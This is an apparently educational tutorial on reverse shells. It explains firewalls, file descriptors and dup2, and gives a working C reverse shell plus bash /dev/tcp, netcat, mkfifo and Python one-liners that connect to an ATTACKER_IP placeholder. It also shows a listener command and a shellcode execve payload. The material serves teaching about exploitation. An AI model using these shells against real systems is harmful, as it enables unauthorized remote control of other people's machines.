Reverse Shells
You just exploited a buffer overflow and hijacked control flow to run arbitrary code on a remote server. Now what? The server sits behind a corporate firewall that blocks all inbound connections — you can't just SSH in. A reverse shell solves this by making the victim call you, turning the attacker into a listener and every outbound connection rule into an open door.
Bind Shell vs. Reverse Shell
The conceptual difference is about who initiates the TCP connection.
| Property | Bind Shell | Reverse Shell |
|---|---|---|
| Who listens | Victim opens a port | Attacker opens a port |
| Who connects | Attacker connects to victim | Victim connects to attacker |
| Firewall problem | Inbound rules on victim block it | Outbound traffic usually allowed |
| NAT problem | Victim behind NAT is unreachable | Attacker's public IP is reachable |
In a typical corporate or cloud environment, servers are protected by firewalls that drop unsolicited inbound connections. Outbound connections, however, are almost always permitted (otherwise the server couldn't access the internet). A reverse shell exploits that asymmetry: the victim initiates an outbound TCP connection to the attacker's listener, and the firewall happily lets it through.
The Building Blocks: File Descriptors and dup2
To understand how a reverse shell works, you need to understand two OS primitives.
File Descriptors
The Linux kernel tracks every open file, socket, pipe, or device with an integer called a file descriptor (fd). Each process inherits three standard ones:
| fd | Name | Default target |
|---|---|---|
| 0 | stdin | keyboard |
| 1 | stdout | terminal |
| 2 | stderr | terminal |
When a program calls open("/tmp/xyz", O_RDWR), the kernel finds the lowest unused integer (typically 3) and maps it to that file. The kernel maintains this mapping in a per-process file descriptor table.
dup2: Redirecting a File Descriptor
int dup2(int oldfd, int newfd);
dup2 duplicates oldfd and assigns it the number newfd, closing whatever newfd pointed to first. This is how the shell implements > and <. After dup2(sockfd, 1), writing to fd 1 (stdout) actually writes to the socket. The program has no idea — it just uses printf and the bytes go over the network.
Redirection in the Shell
Bash's built-in /dev/tcp virtual filesystem lets you open a TCP connection without any helper program:
# Send cat's output to a TCP connection at 10.0.2.5:8080
cat > /dev/tcp/10.0.2.5/8080
# Read from the time server at time.nist.gov:13
cat < /dev/tcp/time.nist.gov/13
/dev/tcp is not a real directory — it does not exist on disk. It is a feature built into bash itself; other shells (dash, sh) do not support it.
How a Reverse Shell Works
Combining the pieces above, a reverse shell on the victim side:
- Opens a TCP socket and connects outbound to the attacker's IP and port.
- Redirects stdin, stdout, and stderr to that socket fd using
dup2. - Executes
/bin/bash(or/bin/sh). The shell now reads commands from the socket and writes output back through the socket — which the attacker's listener receives and displays.
In C (the long form)
// 1. Create a TCP socket
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// 2. Fill in attacker's address
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("10.0.2.5");
server.sin_port = htons(8080);
// 3. Connect outbound to attacker
connect(sockfd, (struct sockaddr*)&server, sizeof(server));
// 4. Redirect all three standard streams to the socket
dup2(sockfd, 0); // stdin <- socket
dup2(sockfd, 1); // stdout -> socket
dup2(sockfd, 2); // stderr -> socket
// 5. Spawn a shell — its I/O now flows over the network
execve("/bin/bash", NULL, NULL);
After step 4 the file descriptor table on the victim looks like this:
| fd | Now points to |
|---|---|
| 0 | TCP socket to attacker |
| 1 | TCP socket to attacker |
| 2 | TCP socket to attacker |
Everything the attacker types travels as socket data into fd 0 (stdin); everything bash prints exits through fd 1/2 (stdout/stderr) straight back to the attacker.
Common One-Liners
Real attacks use one-liners because shellcode needs to be compact, and scripting languages are almost always available on a target system.
Bash /dev/tcp (bash built-in only):
/bin/bash -i > /dev/tcp/ATTACKER_IP/9090 0<&1 2>&1
> /dev/tcp/…redirects stdout to the TCP connection (fd 1 → socket)0<&1redirects stdin from fd 1 (the socket)2>&1redirects stderr to where stdout already goes
nc (netcat):
nc -e /bin/bash ATTACKER_IP 9090
Some versions of nc lack -e; the alternative pipes:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 9090 > /tmp/f
Python:
python3 -c "import socket,subprocess,os; \
s=socket.socket(); s.connect(('ATTACKER_IP',9090)); \
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); \
subprocess.run(['/bin/sh','-i'])"
The Listener (Attacker Side)
On the attacker's machine, start a listener before triggering the exploit:
nc -lvnp 9090
Flags: -l listen, -v verbose, -n no DNS, -p 9090 port. When the victim connects, netcat hands stdin/stdout directly to the attacker's terminal — producing an interactive shell prompt running on the victim.
Connecting It to the Exploitation Chain
When you deliver shellcode via a buffer overflow, the payload no longer needs to be a simple execve("/bin/sh") that only works locally. Instead the shellcode performs the same steps as the C program above — socket, connect, dup2 × 3, execve("/bin/bash") — all as raw machine instructions. Because you can't assume the target is running bash, a common pattern in injected code is:
execve("/bin/bash", ["/bin/bash", "-c", "/bin/bash -i > /dev/tcp/IP/PORT 0<&1 2>&1"], NULL)
This forces bash to be spawned first (even if the default shell is dash or sh), then runs the /dev/tcp redirect inside it.
A comprehensive reference of one-liners across every scripting language (Python, Perl, Ruby, PowerShell, Go, etc.) is maintained at the Reverse Shell Cheat Sheet.
Key Takeaways
- A reverse shell has the victim initiate the TCP connection outward to the attacker, defeating inbound-blocking firewalls and NAT — the opposite of a bind shell.
- The mechanism relies on two primitives: file descriptors (integers the kernel uses to represent open I/O channels) and dup2 (which rewires a file descriptor to point anywhere, including a TCP socket).
- After
dup2(sockfd, 0/1/2), the shell's stdin/stdout/stderr all flow over the network;execvethen hands control to/bin/bash. - Bash's
/dev/tcp/IP/PORTvirtual path is a convenient shortcut — but it only works inside bash, not in dash/sh. - The attacker runs
nc -lvnp PORTas a listener before triggering the exploit. - In a full exploitation chain, shellcode encodes the socket-connect-dup2-execve sequence as raw machine instructions, making the reverse shell the payload delivered after control-flow hijacking.